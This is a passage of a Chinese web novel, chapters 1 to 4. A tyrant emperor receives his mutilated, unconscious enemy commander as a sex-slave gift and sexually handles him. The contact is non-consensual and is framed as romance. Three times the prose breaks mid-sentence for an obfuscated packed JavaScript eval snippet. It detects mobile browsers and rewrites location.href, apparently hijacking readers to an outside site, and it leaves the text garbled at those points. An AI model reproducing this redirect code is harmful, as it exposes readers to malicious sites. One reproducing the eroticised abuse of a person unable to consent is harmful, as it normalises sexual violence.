《治愈我的神明》 1. 第 1 章 1. 月光将整片露台切割成明暗交织的棋盘。 郁危明坐在明与暗的交界处,长发流淌着月华的冷辉。他的披风倦倦垂落,层叠地堆砌在暗纹密织的地毯上,像一片被碾碎的血色花海。 那是太过浓烈、几乎要灼伤人的眼睛的红。 是帝国的红,权力的红,更像干涸在指尖永远洗不去的污血。 他的脚边,一只精心打造礼盒安静地放着。 …… 礼盒通体以暗红丝绒包裹,凹槽里填满了珍珠母贝的碎光,四角的包金更被以近乎谄媚的技艺雕琢出帝国皇族的鸢尾徽记。 那是联邦某人刚刚向他献上的“诚挚礼物”。 盒面是一整块雾色琉璃,内里隐约浮动着古铜色的阴影——影子分明是一个活生生的人,尚有微弱呼吸,起伏的轮廓湿漉漉地贴着琉璃内侧。 月下,郁危明清灰色的眸子闪出冷刃的寒芒。 ……盒中囚着的,大抵是一具被精油浸泡过的□□。 脖颈套着镶宝石的皮项圈,腰肢系着缀铃铛的金链——就像他小时候跟着二哥在某个公爵的密室里开眼界见过的“藏品”一样。 尽管这么多年,帝国和联邦都有明文严禁X奴买卖,但两方的权贵高官私底下仍有不少乐此不疲地坚持这一类肮脏的兴趣。 将活人扭曲成满足私欲的玩物,用纵欲欢愉掩盖内心的空虚。 低俗又无聊。 他真不明白为什么会有人喜欢这个。 …… 玫瑰精油的香气从盒缝渗出,甜腻得令人窒息。 郁危明闻得出,那不是普通的花香,而是联邦最珍贵的“血吻玫瑰”精油—— 每一滴都要榨干上千朵无比昂贵的特培花苞,才能萃取出这勾魂摄魄的腐艳芬芳。 帝国皇族郁家是东亚血统,但因为从十几代以前就不断地用基因技术编辑“最优秀的后代”,所以现在的郁危明,有着高挑挺拔的身材、冷白无暇的皮肤,高挺的鼻梁,烟灰色的瞳和银色的发。 此刻,半透明的琉璃盒面,映出他俊美的面孔。 郁危明薄唇勾起倦懒的弧度,看着自己的倒影同盒中人的剪影重叠,扭曲地诡异交融,很有几分阴森和狰狞。 他对这类“消遣”毫无兴趣。 但大概是郁氏皇族荒淫纵欲的“佳话”过于名声在外。没有人会相信继承了那绵延十几代“蘼艳、肮脏、色|欲、疯狂”血脉的人,会不钟爱变态的东西。 郁危明垂下灰眸,漫不经心地摩挲着盒锁。 还记得视讯里,联邦乌森议员恐惧得眼球凸出,匍匐在屏幕前向他砰砰磕头,一脸癫狂。 “陛下!这份礼物您一定喜欢的!一定喜欢的!殿下,我保证!他会让您快乐,殿下,您相信小人一回!” 上周,帝国铁蹄刚刚踏入联邦首都。 这群昔日高高在上、满口袋黑钱的联邦高官们终于慌了神。个个上蹿下跳、使出浑身解数,争先恐后翻遍家底,把大半辈子搜刮而来珍宝名玩捧到新帝脚下,以求一线生机。 比起绞刑架,确实跪着舔舐权杖是更好的选择。 所以这些日子,郁危明收到了不计其数的珍贵礼物。 想必就连他的下属甚至政敌、也是无数黄金珠宝、古玩字画收入囊中,赚得盆满钵满。 “但……一定喜欢”? 郁危明揭开盒盖,之前恶意地勾起唇角。 实在是他最近的日子烦闷又漫长,也想给自己找点乐子。 希望里面的东西,不要让他太失望才好。 2. 郁危明打开盒子时,帝国御医齐绍洲正侍奉左右。 他们从小一起长大,他最清楚这位新帝什么性子——这群人居然给他送X奴?想什么呢。 此刻齐绍洲都能想到乌森议员大梦落空,绝望的模样了。 就算不知道新皇洁身自好、眼高于顶,也该至少打听打听他对那位纵欲而死先帝的不屑吧? 箱盖掀开,玫瑰和欲念的气息混合成一股难以形容的冷香。 当看清盒子中人的瞬间,齐绍洲睁大眼睛,冰冷的毛骨悚然爬上脊背。 郁危明亦怔愣片刻。 但也就片刻。 随即新皇烟灰色眼里,一点点泛起疯狂的明亮。甚至不可抑制地嘴角抽搐,只是他似乎没有意识到自己在笑。 新皇深深吸了一口气。 灰眸像幽暗的深渊,就那么贪婪地、安静地、直勾勾盯着盒子里面的人,盯了不知道多久。 过于外露的欲念,让那张本来冰雪锐利的俊美脸容都显得有几分可怖和狰狞。 箱中盛放的,确实是一具被精心装裱的古铜色胴体。 或者说是残躯。 那竟是帝国新皇的宿敌,联邦舰队司令官顾远泽。 曾经的联邦英雄,万众敬仰的“天穹要塞守护者”“云舟舰队司令官”。现在却成了最低俗肮脏的玩物,残破地横陈在供奉新皇的礼盒中。 送礼人甚至没有给他穿一件衣服,却给他腰腹缠绕了足够羞辱的极细金色链条—— 顾远泽的眼睛似乎被弄瞎了。 空洞地睁着,没有一丝光亮。脸颊也消瘦了许多,曾经连接着仿生义肢的断肢处裸露着,陷在层层叠叠馥郁的白色玫瑰花里。 除了胸口微微起伏,他看起来几乎像一具精心保存的尸体。 一秒,两秒。 齐绍洲听到新皇轻笑了一声,声音晦涩、兴奋不稳。 “绍洲,你看,”郁危明低哑着嗓音,“他们倒是把司令官……打扮得十分精致。" 他眼里有着异样的光彩,勾起的唇角糜艳又疯狂。 窗外传来夜莺的啼叫,却丝毫不婉转,反而凄厉得不成样子。狂风开始大作,到处弥漫着下雨的腥味。 齐绍洲垂眸,尽力保持淡定。 毕竟郁危明疯掉也不止一天两天了。 听说先皇当年也是这样。前一天还是勤政爱民的好陛下,然后毫无征兆就疯了。 3 齐绍洲离开皇帝寝宫,在长廊路遇了“血蔷薇的娜塔莉”和“沉默的路维希”。 帝国参谋官娜塔莉是坎贝尔公爵家的长女,而谍报官路维希则是帝国第一制造局路局长的幼子。 他们和身为御医+科学家的齐绍洲一样,都是从小和郁危明一起长大的好友,从郁危明还不是皇太子时就坚定地追随他。 沉默的路维希人如其名,很少说话。 但每一次说话都语不惊人死不休。 他听说新礼物是联邦司令官后,淡然点了点头:“那挺好的。” 几个月前,联邦司令官顾远泽就因为叛国罪遭受审判、入狱后下落不明,传说已被秘密处死。 路维希:“其实,上周陛下在攻入联邦首都之前,曾来找过我父亲。” “据我父亲说,陛下原话是‘希望制造局能在联邦首都广场上,为我敬爱的宿敌顾远泽浇灌一座惟妙惟肖的纪念铜像,让司令官穿着严整制服,接受那群背叛他的愚民们的怀念、膜拜、忏悔和瞻仰’。” 但如果只是这样,也并不是什么过分的要求。 “只是,除此之外,陛下还希望我父亲再找帝国最好的巧匠,为他制造一个材质柔软的、能够惟妙惟肖还原他的这位宿敌美好胴体的……硅胶娃娃。” “好每天摆放在自己的寝宫,以供玩赏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612243|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 齐绍洲:“……” 娜塔莉:“……” 路维希:“顾远泽活着挺好,省了一座铜像和一个硅胶娃娃的麻烦。” 齐绍洲:“……” 娜塔莉:“……” 4 齐绍洲那天回到家以后,少见地失眠了。 人可以疯。 但也要有个基本限度吧?硅胶娃娃!? 可他的好友郁危明从小孤冷自傲、谁都看不上,什么时候培养起的这种变态兴趣? 他突然想起半年前,顾远泽的庭审视频从黑市流传过来,他陪尊贵的陛下一起看。 影像画面中,曾经笔挺的联邦军服皱巴巴地挂在顾远泽消瘦但挺拔的身体上,袖口的将星已被粗暴撕下。 这位连续六年创造战争神话的联邦舰队的司令官,其实也才只有二十八岁。 黑发、黑眼,不算绝色,但也是端正俊朗的长相。 他的左眼眼角下有一道并不明显的陈年疤痕,连同他失聪的左耳一起,都是在第二次天穹要塞战争中所受的爆炸的伤害。 以至于他的视力和听力都岌岌可危,庭审时不得不佩戴辅助设备。 除此之外,他还在战争中失去了左手和右腿。 联邦科技不如帝国,他多年用的都还是老式机械义肢。 听闻这种义肢站久了压迫神经会很痛。而面对这样为国牺牲良多、残破而摇摇欲坠的英雄,庭审视频里他对面坐着的那群脑满肠肥的联邦权贵,却更加兴奋地欺凌迫害他。 无数污名、冤屈羞辱,都强加在这位兢兢业业守护联邦多年的司令官身上。 齐绍洲毕竟是正常人。 即便站在被审判席上的是帝国最头疼敌将,但当他看到那些人在顾远泽已经痛苦不堪、难以支撑时还在逼问,都禁不住皱了眉头。 可那天他身边的郁危明却明显不正常。 齐绍洲永远记得,那天他身边帝国的太阳,那张极少有情绪、素来冰冷禁欲的脸上,全程毫不掩饰地疯狂和兴奋。 但那时齐绍洲以为,郁危明仅仅是兴奋多年宿敌的悲惨落幕。笑他没能死在战场上,却死在自己效忠的联邦的冤狱里。 但现在齐绍洲想起来了,不是那样的—— 那天的陛下全程的目光,分明都贪婪落在顾远泽皱眉隐忍的痛苦颤抖,紧抿的唇和腰身上。 而在顾远泽支撑不住,彻底痛苦崩溃时,新帝脸上的愉悦也明显达到了顶峰。 之后郁危明拿走了所有的庭审影像。 齐绍洲偶尔听到传言,新帝经常关起门来,一遍一遍地看那些影像。 没有人会癫到觉得郁危明会拿宿敌的庭审片去当做某类用品使用。 直到听说他还去找路维希的父亲做硅胶……咳! 齐绍洲又想起了他的父亲齐将军。 犹记年少时,齐将军常会跟他说起当年跟着尚未堕落的先皇,一群年轻人满怀希望,想要改变这个陈腐堕落的帝国。 他说那是“骄阳一般”他永远不会忘记的时代。 但后来先皇突然就疯了,沉溺纵欲再不清醒,齐家也从此没落。 可齐将军眼睛毒啊,那时就盯上了还是三皇子的郁危明,送齐绍洲去从小侍奉。 齐将军去年去世了,遗言是要齐绍洲好好辅佐新帝,重拾帝国荣光。 “绍洲,只有郁危明,是这腐朽帝国唯一的希望。” 齐绍洲从小就很听话,他对好友当然是忠诚的。 只是郁危明近来看着,越来越有股皇室堕落血脉觉醒的癫了。 父亲还说他是“唯一的希望”。 他的疯朋友哪里看起来像是有希望了? 2. 第 2 章 5. 空荡的寝宫里,郁危明继续贪婪凝视他的礼物。 蜜色躯体在月光下,宛如融化的琥珀。 瘦削的脸上,有不知是痛苦煎熬还是难耐欢愉的斑驳泪痕。抽动的喉结上,电子镣铐每几秒钟闪动一次,腰间的金链也随着微弱的呼吸轻轻晃动, 郁危明眯起眼睛,眼底翻涌着欲望。 受刑,折辱……蜜色的皮肤上遍布鞭痕和烙痕。 联邦的英雄如何被对待,只是想想,就瞬间让他呼吸急促燥热。 他垂眸俯身,银白发丝垂落在顾远泽的锁骨凹槽。 帝国新皇沉迷想象。 想象把那残躯抱在怀里,感受温暖而脆弱的体温贴。想象着亲吻那泪痕,尝到颤抖的咸涩。 心脏剧烈跳动,就要冲破胸腔。 “的确是一份好礼物……” 怪不得那阴暗瘦小的乌参议员如此自信。确实是郁危明收到的此生最喜爱的礼物。 皇帝的指尖最终,还是碰触了那片渴望已久的肌肤。 顾远泽因折磨与受刑消瘦了不少,但残留的肌肉线条依旧充满力量感。确实是郁危明想象中的,奶油冰淇淋的触感。 指尖划过小腹的人鱼线,残躯在掌下紧绷。 新皇忍不住战栗,干脆闭上眼睛享受这美妙的触感。 浓郁而带着血腥味的玫瑰精油弥散,化作一张欲念交缠的网,将人困在其中。 他最终将那个无比残破的人整个捞起,紧紧拥入怀中。 肌肤相贴,玫瑰浓郁。他发疯用脸颊磨蹭那满是伤痕的身躯,鼻尖抵着微弱的心跳——铁锈味、体香、还有独属于顾远泽的冷冽气息,全部灌入肺叶。 怀中躯体比想象中更轻。 仿佛被剜去的不仅是四肢,还有灵魂的重量。 但这些郁危明现在都不想管。他只全然沉浸在飨足中,像是一个濒临饿死的人终于饱餐一顿,只贪婪将怀中人抱得更紧,忘情而贪婪地汲取着对方身上的气息。 这是别人送他的礼物。 “所以,是我的……” “是我的了。” 顾远泽还活着,并且从今往后都是他的所有物。 郁危明无比满足。 即便这份礼物看起来已经完全坏掉了,也无所谓。 毕竟他也从来没有什么“礼物一定要四肢完好、健康健全”的执念。 是,战场上聪明狡黠的宿敌联邦司令官固然有趣,但也许坏掉的说不定更合心意。 毕竟只有破破烂烂的、痛苦不堪、精神崩溃的顾远泽,才能让他为所欲为,不是吗? 就算讨厌……都没有手脚可以反抗。 真好。 那一晚,在玫瑰馥郁的香气里,郁危明温柔而贪婪地亲吻了他的“礼物”。 每一寸肌肤,每一处烙印,爱不释手。 甚至月光偏移时,他还咬住了那段脆弱的脖颈。顾远泽无意识地仰头,喉结在唇下滚动出绝望的弧度。那无声的痉挛让皇帝彻底失控,扯开自己的丝绸衬衣,让滚烫的胸膛更紧地贴上那伤痕累累的身体。 黎明前最黑暗时,郁危明终于抱着他的战利品陷入梦乡。 皇帝特别满意这份礼物。 但转天,他还是毫不留情把乌参议员下狱了。议员遭受了严酷的刑讯、不断在痛苦中哀嚎求饶。 疯子皇帝做什么都不需要理由,也无人求情。 他开心就好。 6. 新皇郁危明常年失眠。 在拥有了顾远泽之后,终于体会到了从未有过的飨足睡眠。 他最憎恨、仰望、敬爱、珍贵的宿敌,如今成了他的私有物。哪怕已经精神崩溃、奄奄一息,不过是他怀中一具有温度、胸膛起伏的活尸体、活标本。 可他紧紧抱住他,还是无比满足。 抚摸那丝缎一般的黑发,总能让他沉迷而心满意地沉入梦乡。睡得又熟又甜,直到天光大亮。 醒来以后,又会因为怀中的温度而安心。 他总忍不住亲吻他。 唇角、眼角,脖子,并不在意对方毫无反应。 他不需要顾远泽有反应。 好比疯魔的信徒一遍遍亲吻膜拜神明塑像,也不需要塑像有任何回应。 只是他的神明,仍有一颗跳动的温热心脏。 帝国新皇就这么乐此不疲地沉浸式渎神,连着几天都舍不得离开寝宫半步。 7. 同一段日子,齐绍洲、娜塔莉、路维希都很淡定。 毕竟郁氏一脉家学渊源,比起先先皇大搞酒池肉林和活人献祭、比起先皇的疯狂□□。郁危明这种一时沉溺男色的行为,实在算不上特别的癫。 何况他也没有像那些人一样,彻底不理朝政。 虽然沉迷敌方司令官,但该处理的文件也都在寝宫处理了。 宫外,帝国对联邦的战争依旧在向前推进战线。 帝国内部的波云诡谲、权力斗争,也在继续无声进行着。 今日阳光十分灿烂。 三位年轻的帝国高层一起坐在花园里晒了片刻太阳,不约而同回想起半年前,他们跟随郁危明政变时那不眠不休的七十二小时。 生死一线、刀光剑影,所有人精疲力尽,却都毫无困意。 太阳穴里血管疯狂跳动,陷入紧张而亢奋的疯狂。 随着时间推移,反对者一一倒下,北境、西境、东境陆续宣誓效忠。 贵族评议会也最终妥协,请求皇太子即刻出席加冕审议。 最终三人紧随郁危明踏入皇宫,走在长廊的穹顶之下,皇太子刺绣的暗红披风在身后翻卷,军靴踏过猩红地毯,靴底仍沾着四皇子、五皇子尚未干涸的血。 血腥味混合着熏香,形成一种诡异的甜。 寝宫大门里,垂死的上一任统治者正躺在机械维生装置里。 皇太子走过去,握住那只枯槁的手。 先帝其实只有四十几岁,却因为多年的荒|淫纵欲而看起来像是个丝绸包裹的骷髅。他浑浊的眼球转动着,呼吸面罩上腾起一团恶意而讥讽的白雾。 “你以为……你赢了……?” "你以为……坐上那个王位……就能改变帝国?” 老皇帝剧烈咳嗽,嘴角溢出黑红色的血沫,口中发出类似诅咒的沙哑咏叹:"天真……太天真了……" “那王座是诅咒,他只会改变你!郁危明,我的儿子……你也会被它改变,和我一样不幸、疯狂,最终成为……你最憎恨的样子。" “我在地狱等你。" 机械装置发出盲音,老皇帝的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612244|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于松开,无力地垂落在床榻边缘。 眼睛却仍睁着,凝固着某种扭曲的胜利感。 8. 不止齐绍洲,娜塔莉和路维希的父亲,也都追随过先帝。 先帝年轻时,曾是一位雄心勃勃、想要励精图治的君王。 可这么一位有才华抱负的君王,登基后继承的却是一台满是补丁、腐朽堕落、濒临彻底崩溃的帝国机器。 帝国的阶级固化早在几百年前就已经根深蒂固。 之后就重复着腐朽贵族掠夺压榨平民 →平民不堪忍受奋起反抗 →贵族替皇室镇压平民 →皇室再给贵族更多特权,这样千疮百孔的循环。 可就在这不健康的腐烂平衡里,所有人竟都找到了自己的位置,让这个摇摇欲坠的机器继续运行下去。 以至于,任何意图向好的改革,反而可能只会加速一切的灭亡。 曾经,先帝以为凭借他的志向才干,一定可以找到破解枷锁的钥匙。 但他错了。 为国为民的理想主义君王很快就见识到了这套系统的恐怖韧性——大刀阔斧改革只会激起贵族的强势反抗,而即便不惜代价侥幸赢了,帝国也只会如剜掉过大毒疮的病人一样,失血过多而亡。 但维持现状,他就不过是另一个帝国毁灭路上无能为力的蛆虫傀儡。 拥有雄图壮志的先帝,就在这样的进退维谷的痛苦和荒谬里,逐渐崩溃。 因此他在临终之前那样恨毒地诅咒新皇,未必是恨儿子。 他恨的,永远是自己那站在权力巅峰却无能为力的一生。而郁危明的结局,多半会同他一样孤寂而疯狂。 娜塔莉垂下蓝色的眼睛,叹了口气。 “所以,现在陛下有所寄托……或许也不是坏事。” 至少有个什么。人也好,东西也罢,让他别疯得那么快。 就还有一线希望。 娜塔莉、齐绍洲和路维希都是有觉悟的。他们的父母、祖辈,都梦想过改变帝国腐朽的机制。 可最后都是被梦想吞噬,遭受迫害和打压。 娜塔莉的母亲当年在光荣和艰难的路上死去了,齐绍洲、路维希的父母也都半生颠沛。 可现在,后一代又作为帝国的新生力量,站在这里。 即便是微光烛火,他们也要再试一次。 这个帝国摇摇欲坠,他们只有在半疯不疯的郁危明身边,还有一线希望。 帝国同联邦的十年战争,因为帝国沉沦腐朽,只有向外转嫁矛盾。 而这十年间,都是这位战神一般的皇太子,无数次举全国之力进攻联邦,通过掠夺和吸血来为日薄西山的帝国续命。 虽然对外侵略不义。 但与其帝国与联邦各自腐朽、双双完蛋,不如强的一方吞并弱的一方。 这样至少踏在对面的血泪上,有一方还能得到几十年虚妄的安定繁荣。 郁危明可能多少有点不正常,但绝对没疯。 他是整个帝国目前仅存唯一有远见、还在挣扎为未来找寻出路的人,年轻的火种都仍会坚定地站在他身边。 几人起身,相互道别。 尽管都知道这条路黑暗崎岖,他们随时可能和父母辈一样,搭上自己的家族、荣誉和性命。 但是,为了帝国重现荣光。 3. 第 3 章 9. 齐绍洲其实并不认为,他们陛下对顾远泽存在“一见钟情”、“暗恋多年”的可能性。 他很确定,过去的多年里,陛下对于这位宿敌司令官所抱的感情,应该就只有正常的好奇、兴趣、不服和记恨。 至于健康的感情怎么就变质成了扭曲的欲念…… 齐绍洲虽是医学心理学双博士,但果然郁氏变态心理学还是有点超出他正常的研究的范畴。 难道真是传说中的,爱恨就在一线间? 无论如何,这事齐绍洲不好干预。 他太了解郁危明日常承受的精神压力,所以一定程度变态对他而言,说不定反而是沉重政务与尔虞我诈之余难得的宣泄。 而有时齐绍洲也会想,或许郁危明会那么在意顾远泽,也是因为从宿敌的身上看到了自己的镜像—— 虽然乍看之下,联邦司令官与帝国皇子的成长轨迹毫无可比性。 毕竟,顾远泽只是个平民。 在同样早已阶级固化的联邦,底层人也该永无出头之日。顾远泽能够成为云舟舰队司令官,完全是一系列的机缘巧合。 顾远泽在孤儿院长大,却头脑聪明、擅长读书。 他在联邦孤儿基金会的资助下顺利读完高中。成年后为了继续念书,又不得不选择了提供全额奖学金的军事院校。 但,顾远泽在军校念的,其实是研究如何在农业卫星上种小麦的后勤预备系。 帝国后来对他的众多调查报告也都说,此人在念书期间,对战争和政治都毫无兴趣。 不仅日常逃课在寝室睡大觉,军校的体能训练能躲就躲,还发表过“反正后勤专业不用上前线所以没必要锻炼”、“我不过是个想安稳度日的懒散人”一类的咸鱼言论。 顾远泽钟爱面食。 大学期间的全部心思,都放在培育的小麦如何烤出更好的面包、做出更松软的包子上。 也是因此,他专业成绩非常优异,连续四年都是军校后勤系小麦培育论文发表最多的优秀毕业生。 而在战略战术方面的天赋,顾远泽几乎毫无体现。 就连《基础战术》考试都是低分及格。 但顾远泽平时私下里,似乎很喜欢下军事沙盘棋。 说只是随便玩玩,却第一次参加校级比赛就轻松打败战术战略系的第一名,获得了比赛冠军。 当然按照顾远泽自己的说法,那只是“侥幸而已”,他也只是因为那段时间太穷了,为五千里拉的奖金才去参了赛。 第二年沙盘赛奖金取消,他就再没去过。 10. 顾远泽在大学后两年进入义务服役期,成了联邦后勤补给舰上一名普普通通的中尉。 他发挥特长,在战舰上去了炊事后勤。 每天继续乐此不疲地做面包、蒸包子、烤花卷,时间匆匆而过,很快他就只差两个月服役期满,也已经收到了去某个农业卫星继续开心种小麦的工作分配。 可却在即将下舰时,再度被强制征召,因兵力不足而被临时补充去了前线战舰。 就这样,一个军校后勤生,生生卷入了最著名的第一次天穹要塞守卫战。 茫茫宇宙中没有青青麦田,只有残酷血腥的战场,太空中的无数废墟、尸体和残骸。 舰队不断遭遇伏击、同僚军官不断阵亡,顾远泽的军衔却不断提升。 最后整个战舰比他高的官阶都死光了。 他这个还没毕业的军校生,只能被迫结果战舰的指挥权,用他那并不成熟的战略直觉带领几艘破烂战舰小心穿越雷区,结果倒霉地正面遇上了帝国皇太子的“阿肯那顿”主旗舰。 为了活下去,顾远泽不得不孤注一掷,利用短暂的电磁干扰导航失灵,冒着极大风险把帝国旗舰引入了附近的引力端流。 就这么利用重型旗舰质量尾大不掉的弱点,使得帝国数艘战舰被困端流,而他的几艘轻型破船得以全身而退。 联邦将他的回归塑造成了“奇迹的大撤退”。 人们对他献花,高层为他授勋,一时间新闻上处处都是他的名字。 而他去往农业卫星的调任也被收回,就这么一跃而成了前线最年轻的舰长。 再后来,第二次天穹要塞攻防战、火星基地会战、Z3卫星战、小行星带保卫战…… 顾远泽肩章上的星徽越来越多,战功越来越卓著。 甚至他的舰队还在第三次天穹要塞攻防时,大败帝国战神郁危明,击落帝国一台主旗舰,彻底将“不败战绩”的名声彻底推上神坛。 顾远泽就这么成了最传奇的联邦英雄。 俘虏的帝国主旗舰修复后也被交到他手中,成为了后来赫赫有名的“云舟战舰”。 整个过程中,没人在意顾远泽只想种小麦的平民心愿。 顾远泽舰长在每次战役结束后的退役申请,也无一例外全被驳回。 那时联邦高层在政治腐朽、军事落后,战线一退再退的人心动荡中,急需渲染一位“联邦英雄”来鼓舞人心。 他们造神时并没想到,顾远泽是真的常胜不败。 一个明明并非科班出身、战术书都没读全的青年,却能在火力十对一的差距下,成功死守帝国侵略联邦路上必经的天穹要塞,甚至对战被称为“帝国战神”的皇太子郁危明时,都能以战术将对方压制。 就这样一步又一步,一年又一年,顾远泽成为了联邦的利刃和精神领袖。 与他的宿敌,帝国的朝阳郁危明遥遥相望。 彼时的两人,同样拥有极强的个人能力,同样距离权力巅峰只有一步之遥。同样接受无数鲜花和赞誉,却也同样被困层层牢笼。 服从是军人的天职。 因此,身为舰队司令官的顾远泽常常无力反抗上级屡屡下达的愚蠢战令,被迫看着阵地失守、战友牺牲。 同时,他也对联邦腐朽溃烂的政治格局、高层之间继续不顾人民死活的争权夺利、尔虞我诈的拉拢和算计,统统厌烦至极。 而另一边,郁危明亦在徒劳地试图改变帝国走向灭亡的泥潭现状。 互为镜像的克莱因瓶里挣扎的两个人,就这样彼此看见了对方。 又在战场屡屡相遇,成了不死不休的宿敌。 齐绍洲想,这大概就是郁危明对宿敌顾远泽始终惺惺相惜、念念不忘的……原因之一吧。 11. 但相对而言,当然还是顾远泽更惨一点。 郁危明毕竟已是高高在上的帝国太阳。此生最坏的结果,大不了就是和先皇一样,一辈子躲在寝宫不问世事。 只要帝国不在他这一代终结。哪怕郁危明精神上的堕入深渊,仍还可以锦衣玉食、醉生梦死。 甚至还能收到喜欢的“礼物”,作为无聊漫长人生的调剂品。 而联邦的平民司令官,却没有退路。 顾远泽的声望太高了,又年轻正直没有后台,太招人恨。结局注定就只能是在权贵的猜忌之中被拉下神坛。 但所有人还是低估了人性的可怕。 很多人都以为司令官已被秘密狱中谋杀。却很少有人想到,他会被不当人地肆意残忍虐待,还沦落成人不人鬼不鬼的……盒中“礼物”。 齐绍洲今日例行为陛下心爱的礼物检查身体。 一进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612245|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝宫,就看到银发的俊美的皇帝正在给那个不会哭也不会笑的躯壳温柔梳头。 齐绍洲:“……” 那场面别提多诡异了,顾远泽全程像个任人摆布的死人娃娃。半睁着的眼睛无比空洞,看着麻木、绝望至极,在齐绍洲看来甚至都有点恐怖谷效应了。 郁危明却仍能望着他,眸光温柔、万千迷恋。 梳好头了还不忘亲一下,亲着亲着还动情了,真不愧最强疯系血脉传人。 齐绍洲只能安慰自己,至少郁危明还知道给人偶穿件衣服…… 更何况这些天,他也不计代价地给顾远泽不知用了多少名贵药品和营养针。 郁危明应该是主观上没想磋磨死顾远泽的。 而且,他其实也不是天天都在无止境地抱着人偶啃,顾远泽大部分时间其实都好好躺在呼吸机上,身上接着各种续命的管子。 只有短暂的换药时间,郁危明才会把他从机器设备上拿下来、贪婪地搂进怀里、为所欲为。 齐绍洲甚至认真思考了一下,郁危明应该不是其实有什么特殊癖好…… 比如,恋尸癖。 应该是没有的。 总之今天的日常检查报告,一如既往不容乐观。 其实顾远泽的双目失明、失聪都能后续手术治疗,就连失去的手和腿,以帝国现在的仿生义肢水平,也都有望帮他最终实现和常人一样行走抓握。 但现在最大的问题,是他的精神创伤。 顾远泽只有一只手和一条腿是在战争中失去的,剩下的……则似乎是狱中被虐待所致。 齐绍洲虽说还没有书面证据,但已有传闻,是联邦记恨顾远泽的人,在狱里将他仅剩的手脚一点点剃掉。 那种酷刑不下于凌迟。 非人的折磨让顾远泽很快精神崩溃,还曾几次心脏停跳。 大概是一辈子不会好了吧…… 被那样对待,还怎么可能好。 以齐绍洲朴素的认知,如果换成他被那样对待,他也一辈子不会好了。 精神崩溃太正常了,与其在那样暗无天日的牢笼里绝望痛苦地看着自己一点点烂掉,还不如干脆变成这样毫无反应的人偶。 齐绍洲给病人换上药就知趣离开了。 只留郁危明再度俯下身子,抱着呼吸机上人蜜色的腰,疼惜地亲吻他的断肢。 “司令官,怪我没能早些找到你。” 其实早在顾远泽刚刚接受审判,帝国新皇就曾派了谍报科去斡旋。而攻陷联邦首都后,帝国军的秘密第一要务,更是不惜一切代价搜寻顾远泽的下落。 可惜没能找到。 怀中人依旧没有反应。 郁危明觉得也正常。司令官绝望太久,也疲倦太久,还受了那么重的伤,当然迫切需要漫长的安眠。 他再度俯下身子,亲吻他身上的道道伤痕。 “那时候很痛吧,顾远泽。” “没关系,一切都过去了。好好睡吧” “要是太痛苦,就一辈子做我的人偶,好不好?” “顾远泽。” 郁危明的喘息再度急促起来。 他侧脸无瑕,仍旧是银发圣洁的俊美新皇,半跪的姿态也像极了虔诚信徒的祈祷。 “等你伤养好了,我们每天都做。白天黑夜,永无止境,我可以给你无尽的快乐。” “你就把一切交给我,什么都不用想。” “我会好好照顾你,侍奉你,让你每天都很舒服,很舒服。” “再也没有人敢欺负你。” “从此你的世界,每天只会有无穷无尽的纵欲欢愉。” 4. 第 4 章 12. 数日后,郁危明把顾远泽从寝宫移到了玻璃花房。 他被安置在纱帐大床上,身下垫着帝国最柔软的雪貂毯。花房温度恒定在二十二度,会根据日照角度自动调节照明,让床上人能适度地晒到太阳。 花房外面,是碧蓝的人工海。 海鸥鸣叫,海风微拂,偶尔咸涩的水汽会摇晃怒放的黑玫瑰丛,亦会拂动顾远泽的睫毛。 睡着的人有微弱的呼吸起伏。 皮肤下蜿蜒着输液管线,疲惫瘦削的脸在阳光下更显俊朗分明。 …… 郁危明要参加联邦的受降式,不得不离开帝国首都几日。 新皇依依不舍。 以至于临走前的最后一刻,都还在捉着司令官的唇狠狠深吻厮磨。灰眸一动不动定定盯着,完全是要把人拆吃入腹的疯狂。 一直吻到自己气喘吁吁,而司令官更是直接无法自主喘息、心率仪也跟着失衡报警,医护冲上来时,皇帝却仍是不肯放开。 简直无异于蓄意谋杀。 齐绍洲都没忍住狠狠瞪了他一眼。结果疯掉的皇帝摇摇晃晃起身,又不紧不慢地踱到玫瑰花圃旁。 他俯身,精心给司令官挑选了花房里最美的一支黄玫瑰。 “绍洲,你有没有听过睡美人的故事。”新皇将玫瑰剪下来放在沉睡的人枕边,忽然笑了,有些古怪。 齐绍洲:“……” 听过,沉睡的公主被莫名其妙的王子吻醒。一个乍看浪漫、细思极恐的恐怖故事。 艹。 他在这一刻才突然发现,现在的场景不就是一个美丽的神经病王子,正在试图吻醒他那瘦削沉睡在魔法蔷薇花园里的司令官? 郁危明最后当然没能吻醒司令官,指尖碰不忘贪婪地蹭了蹭沉睡人的唇畔。 